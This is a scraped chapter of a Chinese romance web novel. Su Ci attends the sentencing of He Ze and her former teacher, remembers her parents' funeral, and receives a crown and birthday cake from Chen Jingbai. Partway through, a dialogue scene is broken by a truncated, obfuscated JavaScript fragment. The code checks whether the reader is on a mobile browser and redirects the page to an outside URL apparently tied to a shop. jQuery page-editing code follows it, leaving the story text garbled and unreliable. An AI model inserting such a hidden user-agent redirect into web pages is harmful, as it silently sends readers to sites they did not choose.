23. 第 23
作品:《别靠岸》 陈敬柏把苏瓷送到楼下,苏瓷坐在副驾驶上,解开安全带,声音很轻:
“要上去坐坐吗?”
陈敬柏抬头,一脸震惊。
“去···去干嘛。”
“······”
苏瓷指尖用力,安全带被按开,顺着滑轨慢慢收回。
“你想干嘛。”
“不···不好吧。”陈敬柏耳根泛红,不自然地移开视线。
“呵。”
苏瓷笑意里的嘲讽太过刺耳,陈敬柏憋着一股气转头看她,但苏瓷已经打开车门下车,慢悠悠走到单元楼里。
“······”
“她是不是在嘲笑我。”
大半夜的,韩千俞接到陈敬柏的电话就已经很烦了,结果这神经病还在这里发疯。
韩千俞翻了个白眼,语气嘲讽:“对啊,嘲讽你呢。”
陈敬柏沉默了,半天说不出一句话。
韩千俞没听见回答,暗骂一句“犯恋爱脑的狗”,直接把电话给挂了。
正在沉思还没想到说什么挽回尊严的陈敬柏,听见手机里传来电话挂断的“嘟嘟”声
“······”
把手机从耳边拿下来,陈敬柏双手撑在方向盘上,看着楼上的灯亮起来,手指在对话框里反复输入什么,又删除。
楼下的黑车还没走,但苏瓷也不在意,她直接把客厅的窗帘拉上。
下一秒桌子上的手机震动。
陈敬柏:晚安。
苏瓷勾起唇角,指尖在键盘上敲了敲。
车里的陈敬柏抓心挠肺地等着苏瓷的回复,手机猛然亮起,陈敬柏解锁看见苏瓷的回复:
“晚安,谢谢”
嘴角不自觉地勾起,陈敬柏满意的收起手机,开车回家。
方乐敏觉得陈敬柏跟谈恋爱了一样,要么就抱着个手机傻乐,要么就早上出门,到很晚才回来。
他不喜欢顾子曼就算了,项目已经稳步进行,没有后悔的机会。就算顾家鱼死网破想要终止项目也没事,反正现在何家倒了,所有的资源都在往陈家倾斜,可以说陈家根本无所畏惧。
但自己儿子总不能变成一个恋爱脑吧。
苏瓷能一己之力扳倒何泽和自己的老师。
方乐敏佩服她,也很欣赏她。
但这毕竟是自己儿子。
“你能不能管管,你弟那傻样,被别人骗了都不知道。”
陈云谏头疼地看着坐在自己位置上的母亲,只能坐到旁边的小沙发上。
“妈,你别管了。”
“我不管谁管!顾子曼不行当然能换一个,但肯定要一个门当户对的。”方乐敏说完顿了顿,又补充,“我没有说苏瓷不好,但她总归是普通家境的孩子···”
“妈。”陈云谏无奈打断方乐敏,“陈敬柏不是小孩,我们不能他替安排整个人生。”
从前安排,现在不顾他的意愿还是安排,结束和顾子曼的婚约就已经是他的反抗。
他把苏瓷当挡箭牌,结果被骗的团团转还不自知。
陈云谏真觉得这个弟弟被家里管坏了。
不吃一次亏他是不知道社会的险恶,总以为自己是高高在上的大少爷,就没人会不听他的,更别说骗他了。
苏瓷是最好的机会。
方乐敏难得噎住,她靠在椅子上,冷哼一声:“你小心他被苏瓷骗了都还在数钱。”
陈云谏犹豫了一下,还是决定说实话。
“苏瓷和我做了个交易。”
陈敬柏觉得最近家里的人看他的眼神怪怪的。
退婚那事不是都过去了吗,难道他们现在又在憋坏主意?
陈敬柏保持怀疑的态度。
但他还是拎着自己的外套,雷打不动出门去送苏瓷上班。
“你那眼神也太明显了。”陈越给方乐敏端了杯花茶,坐在她身边小心翼翼地提醒。
方乐敏一脸茫然地摇了摇头:“我心疼你儿子。”
爱情的萌芽刚刚出现,就遇见一个高端的杀手。
是杀手,不是猎手。
“说不行的是你,现在心疼的还是你。”陈越小声嘀咕,结果收获老婆一个冷眼。
“太狠了,几个陈敬柏才能玩得过一个苏瓷啊。”
“陈云谏说得对,万万缺少毒打。”
“你说,”方乐敏的思维都不知道跑偏到哪里去了,她一脸担忧地看着陈越,“你儿子知道真相之后,封心锁爱怎么办?”
“···不至于。”
陈云谏从中出力,法院判了何泽五年,赵如海四年。
苏瓷接到电话,通知她去法院的时候很平静,垂着眸,眼神复杂。
有钱果然什么都能干。
如果是自己一个人立案,一年都不一定能有结果。
这才两个半月,已经可以判刑了。
毕竟何家只是倒了,又不是何家人死了,他们只要有能力,就一定会从中作梗。
所以苏瓷很担心,发生和当年一样的事情。
是陈敬柏接苏瓷去的法院,苏瓷神色淡漠,有些空洞的眼神落在何泽跟赵如海身上。
赵如海看起来老了很多,鬓边的白发都变得格外显眼。何泽倒是很平淡,甚至对着苏瓷还能露出一如既往的温和笑容。
苏瓷移开视线,不想再看他们。
旁听席上的许音柔看见何泽的笑,不由自主打个寒战。
转头再看着一个人孤零零站在原告一方的苏瓷,许音柔抿唇。
没想到苏瓷做得这么绝,她真的比何泽还要可怕。许音柔不止一次庆幸自己是去找了苏瓷而不是听从何泽的话。
苏瓷离开法院,在外面的走廊上看见王娉。
王娉满脸泪水。
她看起来也老了很多啊,苏瓷停住脚步,一言不发。
“阿瓷。”
“娉姐。”苏瓷蹲下身子,趴在王娉的膝盖上,温柔地笑,“照顾好自己。”
王娉点头,泣不成声。
苏瓷站起来推着王娉出去,把轮椅交到保姆手中。
王娉突然伸手拉住苏瓷的手,苏瓷背对着她没有回头。
“阿瓷,对不起。”
“老赵对不起你,我也对不起你。”
苏瓷看着法院的大门。已经快入冬了,昨天下了场雨,今天却是个艳阳天,从门口能看见外面天光大亮,有些刺眼。
苏瓷仰起头,直视那一片亮光。
“没关系。”
苏瓷觉得自己不在意,她真的不在意。
因为她本来就不信任何人。
“回家?”陈敬柏偏头,看着苏瓷闭眼靠在椅背上。
他没进去,苏瓷不让他进去,所以他在外面等苏瓷凯旋。
“去看守所。”
陈敬柏沉默,但他还是尊重苏瓷的意愿,开车带她去。
一路上苏瓷都没有说话,沉默地盯着窗外。
苏瓷想抽烟,但是她现在比平时更厌恶尼古丁的味道。心里的烦躁也压不下去,苏瓷整个人都有点茫然。
她突然想到父母离开的那天。
当初知道父母离世的消息,苏瓷也是像这样茫然。
十四岁的苏瓷一个人,孤零零地站在殡仪馆里。
就像今天她也是一个人站在原告席。
太闷了,苏瓷还没有反应过来父母离世的消息,只觉得这里让她喘不上气。
她跑到门口,抱膝蹲在地上,大口大口的汲取新鲜空气。
身边突然响起打火机的声音,一位陌生的大叔满眼通红,眼底布满血丝,泪水顺着脸颊往下滑。
他拿着烟的手在抖,半天点不燃烟,半晌他忽然痛哭,手里的打火机和烟盒都掉在地上。
那个叔叔被人架着胳膊扶走。
苏瓷盯着地面上看了很久,她伸手捡起打火机,从烟盒里抽出一根烟。
前十四年,苏瓷被父母捧在手心,过着公主一样的生活。
在她十四岁这一年,所有的美好都像泡沫一样破碎。
苏瓷也颤抖着手点燃那一根烟,她放在嘴边猛吸一口,烟呛得她满脸痛苦,眼泪终于顺着眼角往下掉,一颗一颗砸在地上。
眼泪消失在水泥地上,没有溅起水花。
苏瓷见到过父亲偷偷抽烟的场景,那时候他被母亲拍了一巴掌,父亲吓得立马扔掉手里的烟。
那时候苏瓷躲在柜子后面偷笑。
可是现在,却没有人阻拦自己。
他们都不在了。
只剩自己一个人。
苏瓷这时候才意识到,父母真的离开了,世界上没有人再关心她,再爱她。
十四岁的小苏瓷抱住自己,蜷坐在殡仪馆外面的台阶上。
这样的事在这里太过常见,每个人都沉浸在各自的悲恸里,没人会留意到角落里这个孤零零的小女孩。
那是苏瓷抽的第一根烟。
很辣,很呛。
她咳了一晚上也没有缓过来。
她讨厌这样的感受,她讨厌尼古丁。
可是后来,她才明白为什么门口的大叔那么痛苦却还是要点一根烟。
苏瓷厌恶,但也依赖。
车停了,苏瓷终于开口:
“有烟吗。”
苏瓷是原告,她不能见何泽和赵如海。她坐在车里,等着手里的烟慢慢燃尽。
白色的烟雾顺着风一点点飘散。
“走吧。”
陈敬柏看着一脸疲惫的苏瓷,心底也隐隐作痛。
“去哪?”苏瓷发现这条路不是回家的路。
“去夜爬。”
“什么?”苏瓷以为自己听错了,面无表情地盯着陈敬柏。
陈敬柏趁红灯,笑着看苏瓷。
“去约会。”
苏瓷瞥见他眼底藏着的笑意,逃避一样地慌忙移开视线,怔怔望着窗外的霓虹灯。
“哪里?”
“我投资咖啡厅。”陈敬柏很骄傲的样子,他眼睛亮晶晶地看着苏瓷,像是等着得到苏瓷的夸奖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392710|198253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>苏瓷想到陈敬柏说的夜爬,她诡异的沉默了一下:“在···山上?”
绿灯亮了,陈敬柏转头看着前方,语气很得意:“在半山腰,风景很好。”
“······”半山腰开咖啡厅,要不是有陈云谏,现在陈家都被他败光了。
陈敬柏从后视镜里看间苏瓷的表情,脸色一黑:“你怀疑我?那生意很好。”
“呵”苏瓷没忍住冷笑,她们那都是看在你陈敬柏的面子上才去的。
但是到地方苏瓷才发现,陈敬柏说的风景好也确实不是虚话。
咖啡厅古香古色,在山林中还有点隐世小屋的感觉。
陈敬柏带着苏瓷走上二楼。木制台阶与花潭镇民宿的老旧台阶截然不同,木料光洁发亮,人踏在上面也不会有“咯吱咯吱”的声音。
二楼的灯光很昏暗,只有一张小桌,小露台正对着外面的树,现在已经入冬,窗外满树枯黄,寂静安定。
暖橘色的灯光轻柔地落在木质桌面上,氛围安静又温馨。
整个二楼,简直是长在苏瓷的审美点上。
苏瓷上楼的脚步顿住,看见桌子上摆着的东西,瞬间愣住。
一个蛋糕,两束花。
陈敬柏已经站在最上层的台阶上,一只手优雅地伸在她面前,陈敬柏身体微微前倾,看起来绅士又温柔。
苏瓷才发现,陈敬柏今天穿的没平时那么休闲,精心打扮过,衬得他身形愈发挺拔。
苏瓷缓缓抬起手,指尖轻轻搭在了陈敬柏的手心上
陈敬柏笑起来,眉眼舒展,整个人意气风发,在昏暗的光影里格外耀眼。
他收紧手心,紧紧地握住苏瓷的手,扶着苏瓷走上台阶,牵着她走到桌前。
苏瓷看着桌子上的东西,脑海里一片空白,什么情绪都没有。
余光里被一道光一闪,苏瓷转头看见陈敬柏不知道从哪里拿出一个黑色的盒子,盒子里是一顶十分奢华的王冠。
苏瓷认得,她甚至曾经为这顶王冠拍过照片。
那是M国一位收藏家的珍品,源自古世纪国王的加冕王冠。
每一颗钻石都色泽纯粹,价值不菲,正中央的那枚红宝石,色泽如血,更是无价的珍品。
这是有钱都买不到的东西。苏瓷现在已经没有心思感叹有钱的好处了。
谁会不喜欢亮晶晶的王冠,苏瓷是被家里宠着长大的公主,可她也没见过这么贵重的王冠。
而且,这是国王的加冕王冠。
陈敬柏当然知道,他看见这个王冠的第一眼就觉得,它应该属于苏瓷。
公主的小王冠配不上苏瓷,国王的才勉强能送给她。
那个收藏家确实难说话,陈敬柏不仅砸钱,还搭了好几幅画进去,才拿走这个王冠。
陈敬柏把王冠小心翼翼地放在苏瓷头上。
苏瓷今天和往常一样,没穿华丽的礼服,没梳精致的发型,脸上也是素颜。
王冠反倒衬得她眉眼清冽,自带锋芒。
但是王冠终究也只是衬托她,苏瓷永远是主角。
就像真正的国王,从来不会被这些身外之物,夺走属于自己与生俱来的光环。
陈敬柏拿着一面镜子,放到苏瓷眼前。
沉甸甸的王冠压在头顶,苏瓷抬手情不自禁的想触碰这顶王冠。
指尖轻轻触碰到冰凉的金属,苏瓷看着镜子里的自己缓缓勾起嘴角
是,她苏瓷,生来就应该这么耀眼。
王冠,应该属于她。
看见苏瓷的笑,陈敬柏心底松了一口气,眉眼也跟着温柔下来。他看见苏瓷像个可爱的小女孩一样,对着镜子反复欣赏自己,心底软得一塌糊涂。
“谢谢。”苏瓷看向举着镜子的陈敬柏,语气真挚,眼底的笑也比平时更柔和。
陈敬柏摇头:“这是属于你的。”
苏瓷笑着,没有反驳。
陈敬柏收起镜子,语气含笑调侃道:“那么尊敬的国王陛下,来看看蛋糕?”
苏瓷耸肩,看见桌子上的小蛋糕。
蛋糕不大,也很简单。
“家里阿姨做的,味道肯定不差。”
陈敬柏把蜡烛插上去,点燃。
“啪嗒”灯光熄灭,苏瓷的眼底只剩下那一束摇晃的火光。
“生日快乐阿瓷。”
苏瓷闭着眼,能清晰的听见陈敬柏的声音。
耳朵痒痒的。
十四岁之后,苏瓷每年都自己给自己加冕。
今天,她终于等来了一个能把自己继续当公主的人。
哦不,是当国王。
苏瓷是国王。
一睁眼,一束花就出现在面前。
但桌子上还有一束,苏瓷眨眨眼,声音在黑暗之中有些失真:“怎么有两束”
陈敬柏漫不经心:“一束祝你生日快乐。”
“另一束,”陈敬柏顿住,语气变得认真起来,“祝贺你保护好自己的王国。”
祝贺你,一个人,保护了自己,和自己的领地。

